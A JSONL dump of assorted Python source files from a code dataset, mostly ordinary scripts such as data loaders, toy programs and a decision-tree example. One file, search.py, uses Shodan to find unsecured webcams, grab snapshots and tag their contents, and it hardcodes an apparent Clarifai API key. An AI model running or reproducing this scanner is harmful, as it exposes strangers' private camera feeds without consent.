:\n\t\t\t# create general settings \n\t\t\tparameters_grp = file_settings.create_group(\"settings\")\n\t\t\t# Loop over all settings tab\n\t\t\tfor SettingsTabName, SettingsTab in self.SettingsNotebook.settings_to_tabs.items() :\n\t\t\t\t# Save all settings on a given tab\n\t\t\t\tgrp = parameters_grp.create_group(SettingsTabName)\n\t\t\t\tfor key, value in SettingsTab.GetSettings().items() : grp[key] = value\n\t\t\n\t\t# return valid filename\n\t\treturn openFileDialog.GetPath()\n\t\t\n\tdef LoadSettings (self, event) :\n\t\t\"\"\"\n\t\tButton  was clicked. This method is closely related to \n\t\t\"\"\"\n\t\topenFileDialog = wx.FileDialog(self, \"Open HDF5 file to load settings\", \"\", \"\",\n                                       \"HDF5 files (*.hdf5)|*.hdf5\", wx.FD_OPEN | wx.FD_FILE_MUST_EXIST | wx.FD_CHANGE_DIR)\n\t\t# Check whether user canceled\n\t\tif openFileDialog.ShowModal() == wx.ID_CANCEL: return\t\n\t\t\n\t\tself.StopAllJobs()\n\t\t\n\t\twith h5py.File (openFileDialog.GetPath(), 'r') as file_settings :\n\t\t\tfor SettingsTabName, SettingsTab in file_settings[\"settings\"].items() :\n\t\t\t\tself.SettingsNotebook.settings_to_tabs[SettingsTabName].SetSettings(SettingsTab)\n\t\t\n\t\t\n#########################################################################\nif __name__ == '__main__' :\n\tmultiprocessing.freeze_support()\n\tapp = visvis.use('wx')\n\tapp.Create()\n\tSurfaceControlExperiment (None)\n\tapp.Run()\n","sub_path":"projetcs/Surface Control/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"577911320","text":"import time\r\nimport webbrowser\r\n\r\nnew = 2\r\nurl = \"https://www.youtube.com/watch?v=Z6qnRS36EgE\"\r\ntotal_breaks = 3\r\nbreak_count = 0\r\n\r\nprint (\"This program started on\" + time.ctime())\r\nwhile (break_count < total_breaks) :\r\n    time.sleep(10)\r\n    webbrowser.open(url, new=new)\r\n    break_count = break_count + 1\r\n","sub_path":"python 실습 코드/1. webbrowser_module/break_time.py","file_name":"break_time.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"184127013","text":"import threading\nimport time\n\ndef job(a):\n    name = threading.current_thread().name\n    print(\"%s: %d\" % (name, a))\n    time.sleep(1)\n\nthreads = []\nfor i in range(5):\n    threads.append(threading.Thread(target=job, args=(i,)))\n\nfor t in threads:\n    t.start()\n","sub_path":"yuanta_python3-master/lesson13/Demo3_append.py","file_name":"Demo3_append.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"33311350","text":"# coding=utf8\nimport maya.cmds as cmds\nimport maya.OpenMaya as om\nimport maya.OpenMayaMPx as OpenMayaMPx\nimport sys\nimport main_func\nreload(main_func)\n\nclass_name = 'render_tool'\n\n\nclass Creat(OpenMayaMPx.MPxCommand):\n    menu_name = 'render tool'\n    cmds.menu(menu_name, label=menu_name, tearOff=True, parent='MayaWindow')\n    command = 'import maya.cmds as cmds;from main_func import window;window()'\n    cmds.menuItem(label='render', command=command)\n\n    def __init__(self):\n        OpenMayaMPx.MPxCommand.__init__(self)\n\n    def doIt(self, argList):\n        pass\n\n\ndef cmdCreator():\n    return OpenMayaMPx.asMPxPtr(Creat())\n\n\ndef initializePlugin(mobject):\n    mplugin = OpenMayaMPx.MFnPlugin(mobject)\n    try:\n        mplugin.registerCommand(class_name, cmdCreator)\n    except:\n        sys.stderr.write('Failed to register command' + class_name)\n\n\ndef uninitializePlugin(mobject):\n    if cmds.menu('render_tool', exists=True):\n        cmds.deleteUI('render_tool', menu=True)\n    mplugin = OpenMayaMPx.MFnPlugin(mobject)\n    try:\n        mplugin.deregisterCommand(class_name)\n    except:\n        sys.stderr.write('Failed to deregister command' + class_name)\n","sub_path":"arnold_renderer/render_plug.py","file_name":"render_plug.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"143427481","text":"import os\nimport glob2\nimport pickle\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\n\n# /datasets/faces_emore_112x112_folders/*/*.jpg'\ndefault_image_names_reg = \"*/*.jpg\"\ndefault_image_classes_rule = lambda path: int(os.path.basename(os.path.dirname(path)))\n\n\ndef pre_process_folder(data_path, image_names_reg=None, image_classes_rule=None):\n    if not os.path.exists(data_path):\n        return np.array([]), np.array([]), 0\n    while data_path.endswith(\"/\"):\n        data_path = data_path[:-1]\n    dest_pickle = os.path.join(\"./\", os.path.basename(data_path) + \"_shuffle.pkl\")\n    if os.path.exists(dest_pickle):\n        with open(dest_pickle, \"rb\") as ff:\n            aa = pickle.load(ff)\n        image_names, image_classes = aa[\"image_names\"], aa[\"image_classes\"]\n    else:\n        if image_names_reg is None or image_classes_rule is None:\n            image_names_reg, image_classes_rule = default_image_names_reg, default_image_classes_rule\n        image_names = glob2.glob(os.path.join(data_path, image_names_reg))\n        image_names = np.random.permutation(image_names).tolist()\n        image_classes = [image_classes_rule(ii) for ii in image_names]\n        with open(dest_pickle, \"wb\") as ff:\n            pickle.dump({\"image_names\": image_names, \"image_classes\": image_classes}, ff)\n    classes = np.max(image_classes) + 1\n    return image_names, image_classes, classes\n\n\ndef read_image(file_path, label, classes=0, one_hot_label=True):\n    if one_hot_label:\n        label = tf.one_hot(label, depth=classes, dtype=tf.int32)\n    img = tf.io.read_file(file_path)\n    img = tf.image.decode_jpeg(img, channels=3)\n    img = tf.image.convert_image_dtype(img, tf.float32)\n    return img, label\n\n\ndef random_process_image(img, label, img_shape=(112, 112), random_status=2, random_crop=None):\n    img = tf.image.random_flip_left_right(img)\n    if random_status >= 1:\n        img = tf.image.random_brightness(img, 0.1 * random_status)\n    if random_status >= 2:\n        img = tf.image.random_contrast(img, 1 - 0.1 * random_status, 1 + 0.1 * random_status)\n        img = tf.image.random_saturation(img, 1 - 0.1 * random_status, 1 + 0.1 * random_status)\n    if random_crop is not None:\n        img = tf.image.random_crop(img, random_crop)\n        img = tf.image.resize(img, img_shape)\n    img = (tf.clip_by_value(img, 0.0, 1.0) - 0.5) * 2\n    return img, label\n\n\ndef prepare_dataset(\n    data_path,\n    image_names_reg=None,\n    image_classes_rule=None,\n    batch_size=128,\n    img_shape=(112, 112),\n    random_status=2,\n    random_crop=None,\n    cache=False,\n    shuffle_buffer_size=None,\n    is_train=True,\n):\n    image_names, image_classes, classes = pre_process_folder(data_path, image_names_reg, image_classes_rule)\n    if len(image_names) == 0:\n        return None, 0\n    print(\">>>> Image length: %d, Image class length: %d, classes: %d\" % (len(image_names), len(image_classes), classes))\n\n    AUTOTUNE = tf.data.experimental.AUTOTUNE\n    ds = tf.data.Dataset.from_tensor_slices((image_names, image_classes))\n    # ds = ds.repeat()\n    ds = ds.shuffle(buffer_size=len(image_names))\n    ds = ds.map(lambda xx, yy: read_image(xx, yy, classes), num_parallel_calls=AUTOTUNE)\n    # ds = ds.prefetch(buffer_size=AUTOTUNE)\n    if cache:\n        ds = ds.cache(cache) if isinstance(cache, str) else ds.cache()\n\n    if is_train:\n        process_func = lambda xx, yy: random_process_image(xx, yy, img_shape, random_status, random_crop)\n    else:\n        process_func = lambda xx, yy: ((xx - 0.5) * 2, yy)\n    ds = ds.map(process_func, num_parallel_calls=AUTOTUNE)\n    ds = ds.batch(batch_size)  # Use batch --> map has slightly effect on dataset reading time, but harm the randomness\n    ds = ds.prefetch(buffer_size=AUTOTUNE)\n    # ds = ds.prefetch(buffer_size=1000)\n    # steps_per_epoch = np.ceil(len(image_names) / batch_size)\n    # return ds, steps_per_epoch, classes\n    return ds\n\n\nclass Triplet_dataset:\n    def __init__(\n        self,\n        data_path,\n        image_names_reg=None,\n        image_classes_rule=None,\n        batch_size=48,\n        image_per_class=4,\n        img_shape=(112, 112, 3),\n        random_status=3,\n        random_crop=None,\n    ):\n        self.AUTOTUNE = tf.data.experimental.AUTOTUNE\n        image_names, image_classes, classes = pre_process_folder(data_path, image_names_reg, image_classes_rule)\n        image_dataframe = pd.DataFrame({\"image_names\": image_names, \"image_classes\": image_classes})\n        image_dataframe = image_dataframe.groupby(\"image_classes\").apply(lambda xx: xx.image_names.values)\n        aa = image_dataframe.map(len)\n        self.image_dataframe = image_dataframe[aa > image_per_class]\n        self.split_func = lambda xx: np.array(\n            np.split(np.random.permutation(xx)[: len(xx) // image_per_class * image_per_class], len(xx) // image_per_class)\n        )\n        self.image_per_class = image_per_class\n        self.batch_size = batch_size\n        self.img_shape = img_shape[:2]\n        self.channels = img_shape[2] if len(img_shape) > 2 else 3\n        print(\"The final train_dataset batch will be %s\" % ([batch_size * image_per_class, *self.img_shape, self.channels]))\n\n        self.get_label = lambda xx: tf.cast(tf.strings.to_number(tf.strings.split(xx, os.path.sep)[-2]), tf.int32)\n        self.process_path = lambda img_name: random_process_image(\n            *read_image(img_name, label=self.get_label(img_name), classes=classes), self.img_shape, random_status, random_crop\n        )\n        # image_data = self.image_data_shuffle()\n        # self.steps_per_epoch = np.ceil(image_data.shape[0] / self.batch_size)\n\n        train_dataset = tf.data.Dataset.from_generator(\n            self.image_data_shuffle_gen, output_types=tf.string, output_shapes=(image_per_class,)\n        )\n        # train_dataset = train_dataset.shuffle(total)\n        train_dataset = train_dataset.batch(self.batch_size)\n        train_dataset = train_dataset.map(self.process_batch_path, num_parallel_calls=self.AUTOTUNE)\n        self.train_dataset = train_dataset.prefetch(buffer_size=self.AUTOTUNE)\n        self.classes = classes\n\n    def image_data_shuffle_gen(self):\n        tf.print(\"Shuffle image data...\")\n        shuffle_dataset = self.image_dataframe.map(self.split_func)\n        image_data = np.random.permutation(np.vstack(shuffle_dataset.values))\n        return (ii for ii in image_data)\n\n    def process_batch_path(self, image_name_batch):\n        image_names = tf.reshape(image_name_batch, [-1])\n        if \"-dev\" in tf.__version__:\n            images, labels = tf.map_fn(self.process_path, image_names, fn_output_signature=(tf.float32, tf.int32))\n        else:\n            images, labels = tf.map_fn(self.process_path, image_names, dtype=(tf.float32, tf.int32))\n\n        return images, labels\n","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":6768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"396175748","text":"from visual import arrow, color, rate, display\r\n\r\nimport recursos.Configuracion as Conf\r\nfrom recursos.Arduino     import Arduino\r\nfrom recursos.Figuras     import Avion, Ejes\r\nfrom recursos.Matematicas import DCM\r\n\r\n# VENTANA ----------------------------------------------------------\r\nventana = display(title='TITULO', x=0, y=0, width=1250, height=1040, center=(0, 0, 0), background=color.black)\r\nventana.forward = (-2, -2, -2)\r\nventana.up = (0, 0, 2)\r\n\r\n# EJES -------------------------------------------------------------\r\nejesFijos = Ejes(color.red, color.green, color.blue)\r\n\r\narduino = Arduino(Conf.PUERTO, Conf.BAUDRATE)\r\narduino.conectar()\r\n\r\navion = Avion()\r\navion.size(4)\r\n\r\ndcm = DCM()\r\n    \r\nwhile 1:\r\n    \r\n    rate(100)\r\n    \r\n    data = arduino.getData(Conf.COD_DCM)\r\n    dcm.update(data)\r\n   \r\n    avion.axis(dcm.iG)\r\n    avion.up(dcm.kG)\r\n        \r\n","sub_path":"RealidadVirtual/src/v02_Avion/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"469964605","text":"'''\nClass that contains all solver variables\n'''\n\nclass Variables(object):\n    '''\n    indictator_routes[route, time] = {0, 1}\n    indicator_product[product, start, end, time] = {0, 1}\n    depot_volume[depot, time] = [0, \\infty)\n    location_incoming[location, time] = [0, \\infty)\n    location_outgoing[location, time] = [0, \\infty)\n    depot_overcap[depot, time] = {0, 1}\n    stoppage = {0, 1}\n    '''\n    def __init__(self):\n        self.indicator_routes = {}\n        self.indicator_product = {}\n        self.depot_volume = {}\n        self.location_incoming = {}\n        self.location_outgoing = {}\n        self.depot_overcap = {}\n        self.stoppage = 0\n        self.location_location_transfer = {}\n","sub_path":"objects/variables.py","file_name":"variables.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"102459290","text":"from .. import udB\n\n\ndef str_to_list(text):  # Returns List\n    return text.split(\" \")\n\n\ndef list_to_str(list):  # Returns String\n    str = \"\"\n    for x in list:\n        str += f\"{x} \"\n    return str.strip()\n\n\ndef get_logger():  # Returns List\n    pmperm = udB.get(\"LOGUSERS\")\n    if pmperm is None or pmperm == \"\":\n        return [\"\"]\n    else:\n        return str_to_list(pmperm)\n\n\ndef is_logger(id):  # Take int or str with numbers only , Returns Boolean\n    if not str(id).isdigit():\n        return False\n    pmperm = get_logger()\n    if str(id) in pmperm:\n        return True\n    else:\n        return False\n\n\ndef log_user(id):  # Take int or str with numbers only , Returns Boolean\n    id = str(id)\n    if not id.isdigit():\n        return False\n    try:\n        pmperm = get_logger()\n        pmperm.append(id)\n        udB.set(\"LOGUSERS\", list_to_str(pmperm))\n        return True\n    except Exception as e:\n        print(f\"King-Userbot LOG : // functions/logusers_db/log_user : {e}\")\n        return False\n\n\ndef nolog_user(id):  # Take int or str with numbers only , Returns Boolean\n    id = str(id)\n    if not id.isdigit():\n        return False\n    try:\n        pmperm = get_logger()\n        pmperm.remove(id)\n        udB.set(\"LOGUSERS\", list_to_str(pmperm))\n        return True\n    except Exception as e:\n        print(f\"King-Userbot LOG : // functions/loguser_db/nolog_user : {e}\")\n        return False\n","sub_path":"pyking/functions/logusers_db.py","file_name":"logusers_db.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"243423935","text":"import imageio\nimageio.plugins.ffmpeg.download()\n\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport math, os\nfrom user_functions_P1 import *\n\nfolder = '../test_images'\noutputfolder = folder + '/output'\ntest_images = []\ntest_images += [each for each in os.listdir(folder) if each.endswith('.jpg') and not each.startswith('.')]\n\n\nfor test_image in test_images:\n\n    test_image_name = os.path.splitext(test_image)\n\n    img = mpimg.imread(folder+'/'+test_image)\n    img_output = process_img_p(img)\n\n    plt.figure\n    plt.imshow(img_output)\n\n    #plt.show()\n    mpimg.imsave(outputfolder + '/' + test_image_name[0] + '_out.jpg', img_output, cmap='gray')","sub_path":"codes/analyse_test_images.py","file_name":"analyse_test_images.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"505111209","text":"print (\"Pig Latin Translator\")\r\n\r\n\r\npig = \"ay\"\r\n\r\noriginal = input(\"Enter a word:\")\r\n\r\nif len(original) > 0 and original.isalpha():\r\n    word = original.lower()\r\n    first = original[0]\r\n    new_word = word + first + pig\r\n    new_word = new_word[1:]\r\n    print(new_word)\r\nelse:\r\n    print (\"empty\")\r\n","sub_path":"PigLatin.py","file_name":"PigLatin.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"205280915","text":"\nfrom random import randint\nclass Node():\n    def __init__(self, value=None):\n        self.value= value\n        self.next= None\n    def __str__(self):\n        return str(self.value)\n\nclass QueueLL():\n    def __init__(self,  values=None):\n        self.head=None\n        self.tail=None\n        \n    def __iter__(self):\n        currNode= self.head\n        while currNode:\n            yield currNode\n            currNode= currNode.next\n\n    def __str__(self):\n        values= [str(x.value) for x in self]\n        return \"\\n____\\n\".join(values)\n\n    def len_ll(self):\n        len_ll=0\n        currNode= self.head\n        while currNode:\n            len_ll+=1\n            currNode= currNode.next\n        return len_ll\n\n    def generate(self, n, max_no, min_no):\n        self.head= None\n        self.tail= None\n        for i in range(n):\n            self.add(randint(min_no, max_no))\n        return self\n\n    def isEmpty(self):\n        return self.head== None\n\n    def enq(self, value):\n        newNode= Node(value)\n        if self.head == None:\n            self.head, self.tail = newNode, newNode\n        self.tail.next= newNode\n        self.tail= newNode\n        return\n\n    def deQ(self):\n        if self.isEmpty(): return \"empty Q\"\n        else:\n            head= self.head\n            self.head= self.head.next\n            return head\n\n    def peek(self):\n        if self.isEmpty(): \"stack is empty\"\n        else: return self.head.value\n\n    def delete(self):\n        self.head= None\n \nll= QueueLL(10)\nll.enq(1)\nll.enq(2)\nll.enq(3)\nll.enq(4)\nprint(ll)\nll.deQ()\nprint(\"after deQing\",ll)","sub_path":"stack_Queue/queue_ll.py","file_name":"queue_ll.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"600562568","text":"import numpy as np\r\nimport pandas as pd\r\n\r\n\r\ndf = pd.read_csv(\"bill_authentication.csv\")\r\n\"\"\"\r\nprint(df)\r\nprint(df.shape)\r\nprint(df.size)\r\nprint(df.columns)\r\nprint(df.info())\r\nprint(df.head())\r\n\"\"\"\r\n\r\n\r\nX = df.iloc[:,:4].values\r\nY = df.iloc[:,4].values\r\n\r\n\"\"\"\r\nprint(X)\r\nprint(Y)\r\nprint(type(X))\r\nprint(type(Y))\r\nprint(X.shape)\r\nprint(Y.shape)\r\n\"\"\"\r\nfrom collections import  Counter\r\nprint(Counter(Y))\r\nprint(np.unique(Y))\r\nprint(df['Class'].value_counts())\r\n\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nX_train,X_test,Y_train,Y_test = train_test_split(X,Y,test_size = 0.2,random_state=65)\r\n\r\n\"\"\"\r\nprint(X_train)\r\nprint(X_test)\r\nprint(Y_train)\r\nprint(Y_test)\r\nprint(X_train.size)\r\nprint(X_train.shape)\r\nprint(Y_train.size)\r\nprint(Y_train.shape)\r\nprint(X_test.size)\r\nprint(X_test.shape)\r\nprint(Y_test.size)\r\nprint(Y_test.shape)\r\n\"\"\"\r\n\r\nfrom sklearn.preprocessing  import StandardScaler\r\nscaler = StandardScaler()\r\nX_train = scaler.fit_transform(X_train)\r\nX_test = scaler.transform(X_test)\r\n\r\n\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nmodel = DecisionTreeClassifier(criterion='entropy')\r\nprint(model.fit(X_train,Y_train))\r\n\r\n\r\n\r\n#Testing predictions\r\nypred = model.predict(X_test)\r\nprint(ypred)\r\n\r\ncompare = pd.DataFrame({'Actual':Y_test,'Predict':ypred})\r\nprint(compare)\r\n\r\n\r\nfrom sklearn.metrics import confusion_matrix\r\nprint(confusion_matrix(Y_test,ypred))\r\n\r\n\r\nfrom sklearn.metrics import classification_report\r\nprint(classification_report(Y_test,ypred))\r\n\r\n\r\nfrom sklearn.metrics import accuracy_score\r\nprint(\"Accuracy Score : \",accuracy_score(Y_test,ypred))\r\n\r\n\r\nprint(df.head(2))\r\n#Dynamically Testing\r\nn1 = float(input(\"Enter a Variance no :\"))\r\nn2 = float(input(\"Enter a skewness no :\"))\r\nn3 = float(input(\"Enter a curtosis no :\"))\r\nn4 = float(input(\"Enter a Entropy no :\"))\r\n\r\n\r\ninputs = scaler.transform([[n1,n2,n3,n4]])\r\nresult = model.predict(inputs)\r\nprint(result)","sub_path":"decision.py","file_name":"decision.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"439751979","text":"import networkx as nx\nimport matplotlib.pyplot as plt\n\ng = nx.Graph()\ng.add_edges_from([(1,2), (2,3), (2,4), (3,4)])\n\nd = nx.degree(g)\n\nnx.draw(g, nodelist=d.keys(), node_size=[v * 100 for v in d.values()])\nplt.show()\n","sub_path":"dmtwitter/lib/testenx.py","file_name":"testenx.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"34885689","text":"from __future__ import print_function # must be first in file\nimport random\n\ndef food_id(food):\n    ''' Returns categorization of food\n\n    food is a string\n    returns a string of categories\n    '''\n    # The data\n    fruits = ['apple', 'banana', 'orange']\n    citrus = ['orange']\n    starchy = ['banana', 'potato']\n\n    # Check the category and report\n    if food in fruits:\n        if food in citrus:\n            return 'Citrus, Fruit'\n        else:\n            return 'NOT Citrus, Fruit'\n    else:\n        if food in starchy:\n            return 'Starchy, NOT Fruit'\n        else:\n            return 'NOT Starchy, NOT Fruit'\n\ndef food_id_test():\n    ''' Unit test for food_id\n        returns True if good, returns False and prints error if not\n        good\n        '''\n    works = True\n    if food_id('orange') != 'Citrus, Fruit':\n        works = False\n        print('orange bug in food id()')\n\n    if food_id('banana') != 'NOT Citrus, Fruit':\n        works = False\n        print('banana bug in food_id()')\n        # Add tests so that all lines of code are visited during test\n\n    if food_id('potato') != 'Starchy, NOT Fruit':\n        works = False\n        print(\"potato bug found in food_id()\")\n\n    if food_id('carrot') != 'NOT Starchy, NOT Fruit':\n        works = False\n        print(\"carrot bug found in food_id()\")\n\n    if works:\n        print('food_id passed all tests')\n        return works\n\n#PLTW told us to make a function 'f(x)' but its flowchart refers to the variable being tested as 'n'.\n#I am going to choose to interpret that as the following code.\ndef f(x):\n    if int(x) == x:\n        if x % 2 == 0:\n            if x % 3 == 0:\n                print(\"x is a multiple of 6\")\n            else:\n                print(\"x is even\")\n        else:\n            print(\"x is odd\")\n\n    else:\n        print(\"x is not an integer\")\n\ndef guess_once():\n    secret = random.randint(1, 4)\n    print('I have a number between 1 and 4.')\n    guess = int(input('Guess: '))\n    if guess < secret:\n        print(\"Too low - my number was\", secret, '!')\n    elif guess > secret:\n        print(\"Too high - my number was\", secret, '!')\n    else:\n        print('Right, my number is', guess, '!')\n\ndef quiz_decimal(low, high):\n    userInput = float(input(\"Type a number between \" + str(low) + \" and \" + str(high)))\n\n    if userInput > high:\n        print(\"No, \", userInput, \"is too high!\")\n    elif userInput < low:\n        print(\"No,\", userInput, \"is too low!\")\n    else:\n        print(\"Good!\", low, '<', userInput, '<', high)\n","sub_path":"CSP/1_3_4/1_3_4.py","file_name":"1_3_4.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"394460978","text":"from PyPDF2 import PdfFileWriter, PdfFileReader\nprint('test')\npages_to_delete = [0] # page numbering starts from 0\ninfile = PdfFileReader('2.File.pdf', 'rb')\noutput = PdfFileWriter()\n\nfor i in range(infile.getNumPages()):\n    if i not in pages_to_delete:\n        p = infile.getPage(i)\n        output.addPage(p)\n\nwith open('newfile.pdf', 'wb') as f:\n    output.write(f)","sub_path":"DeletePage.py","file_name":"DeletePage.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"549539426","text":"\"\"\"\nDate:16/04/2021\n1125. Smallest Sufficient Team - Leetcode Hard\n\nThe following problem is solved using Sets and backtracking\n\"\"\"\nclass Solution:\n    def smallestSufficientTeam(self, req_skills: List[str], people: List[List[str]]) -> List[int]:\n        \n        for i in range(len(people)):\n            people[i]=set(people[i])\n        \n        for i in range(len(people)):\n            for j in range(len(people)):\n                if i!=j and people[i].issubset(people[j]):\n                    people[i]=set()\n        \n        skill_to_person={}\n        \n        for i in range(len(people)):\n            for skill in people[i]:\n                if skill not in skill_to_person:\n                    skill_to_person[skill]=set()\n                skill_to_person[skill].add(i)\n                \n        \n        \n        unmet_skills=set(req_skills)\n        Best_Team=[]\n        Team=[]\n        Min_Team=100000000\n        def meet_skill(skill=0):\n            nonlocal unmet_skills,Best_Team,Team,Min_Team\n            if not unmet_skills:\n                if Min_Team>len(Team):\n                    Best_Team=Team[::]\n                    Min_Team=len(Team)\n                return\n            \n            if req_skills[skill] not in unmet_skills:\n                meet_skill(skill+1)\n                return\n            \n            for person in skill_to_person[req_skills[skill]]:\n                \n                skill_to_add=unmet_skills.intersection(people[person])\n                unmet_skills-=skill_to_add\n                Team.append(person)\n                meet_skill(skill+1)\n                Team.pop()\n                unmet_skills=unmet_skills.union(skill_to_add)\n                \n                    \n    \n        \n        meet_skill()\n        return Best_Team\n        \n        \n        \n        \n        ","sub_path":"Hashing/Smallest_Sufficient_Team.py","file_name":"Smallest_Sufficient_Team.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"16800439","text":"import os\nimport shodan\nimport requests\nimport socket\nimport urllib\nfrom PIL import Image, ImageEnhance\nfrom rich import print\nfrom clarifai.rest import ClarifaiApp\n\nclass Scanner(object):\n    def __init__(self):\n        socket.setdefaulttimeout(5)\n        self.SHODAN_API_KEY = os.environ.get(\"SHODAN_API_KEY\")\n        assert self.SHODAN_API_KEY != \"\"\n        self.api = shodan.Shodan(self.SHODAN_API_KEY)\n        # preset url schemes\n        self.default_url_scheme = \"[link=http://{ip}:{port}][i][green]{ip}[/green]:[red]{port}[/red][/link]\"\n        self.MJPG_url_scheme = \"[link=http://{ip}:{port}/?action=stream][i]http://[green]{ip}[/green]:[red]{port}[/red]\" \\\n                               \"[blue]/?action=stream[/blue][/link]\"\n        self.clarifai_initialized = False\n\n    def init_clarifai(self):\n        self.CLARIFAI_API_KEY = os.environ.get(\"CLARIFAI_API_KEY\")\n        assert self.CLARIFAI_API_KEY != \"\"\n        self.clarifai_app = ClarifaiApp(api_key='ac61aa2283a04f54bffb59bbae86206e')\n        self.clarifai_model = self.clarifai_app.public_models.general_model\n        self.clarifai_initialized = True\n\n    def tag_image(self,url):\n        response = self.clarifai_model.predict_by_url(url=url)\n        results = [concept['name'] for concept in response['outputs'][0]['data']['concepts']]\n        return results\n\n    def check_empty(self,image_source,tolerance=5)->bool:\n        im_loc = \".tmpimage\"\n        urllib.request.urlretrieve(image_source, im_loc)\n        im = Image.open(im_loc)\n        extrema = im.convert(\"L\").getextrema()\n        if abs(extrema[0]-extrema[1]) <= tolerance:\n            return False\n        return True\n\n    def scan(self, camera_type, url_scheme = '', check_empty_url='',check_empty = True, tag=False):\n        if url_scheme == '':\n            url_scheme = self.default_url_scheme\n\n        if tag and (not self.clarifai_initialized):\n            self.init_clarifai()\n\n        results = self.api.search(\"webcams\")\n        max_time = len(results[\"matches\"])*10\n        print(f\"maximum time:{max_time} seconds\")\n        for result in results[\"matches\"]:\n            if camera_type in result[\"data\"]:\n                url = f\"http://{result['ip_str']}:{result['port']}\"\n                try:\n                    r = requests.get(url, timeout=5)\n                    if r.status_code == 200:\n                        if check_empty == False:\n                            print(\n                                url_scheme.format(ip=result['ip_str'], port=result['port'])\n                            )\n                            continue\n                        if self.check_empty(check_empty_url.format(url=url)):\n                            print(\n                                url_scheme.format(ip=result['ip_str'], port=result['port'])\n                            )\n                            if tag:\n                                for t in self.tag_image(check_empty_url.format(url=url)):\n                                    print(f\"[green]{t}[/green]\",end=\" \")\n                                print()\n                except:\n                    continue\n\n    def MJPG(self,check,tag):\n        scheme = self.MJPG_url_scheme\n        if check:\n            self.scan(\"MJPG-streamer\", url_scheme=scheme, check_empty_url=\"{url}/?action=snapshot\",tag=tag)\n        else:\n            self.scan(\"MJPG-streamer\", url_scheme=scheme, check_empty_url=\"{url}/?action=snapshot\",tag=tag)\n\n    def webcamXP(self,check,tag):\n        if check:\n            self.scan(\"webcamXP\", check_empty_url='{url}/cam_1.jpg', tag=tag)\n        else:\n            self.scan(\"webcamXP\",check_empty_url='{url}/cam_1.jpg',tag=tag)","sub_path":"search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"360566347","text":"from tool.runners.python import SubmissionPy\nfrom collections import defaultdict\n\n\nclass YouyounSubmission(SubmissionPy):\n\n    def run(self, s):\n        \"\"\"\n        :param s: input in string format\n        :return: solution flag\n        \"\"\"\n        mem = defaultdict(list)\n        turn = 1\n        init = s.splitlines()[0].split(',')\n        while turn <= len(init):\n            last_spoken = int(init[turn - 1])\n            mem[last_spoken].append(turn)\n            turn += 1\n        while turn < 30000001:\n            if len(mem[last_spoken]) >= 2:\n                last_spoken = mem[last_spoken][-1] - mem[last_spoken][-2]\n            else:\n                last_spoken = 0\n            mem[last_spoken].append(turn)\n            turn += 1\n        return last_spoken\n\n\nif __name__ == '__main__':\n    print(YouyounSubmission().run(open('../input/youyoun.txt').read()))\n","sub_path":"day-15/part-2/youyoun.py","file_name":"youyoun.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
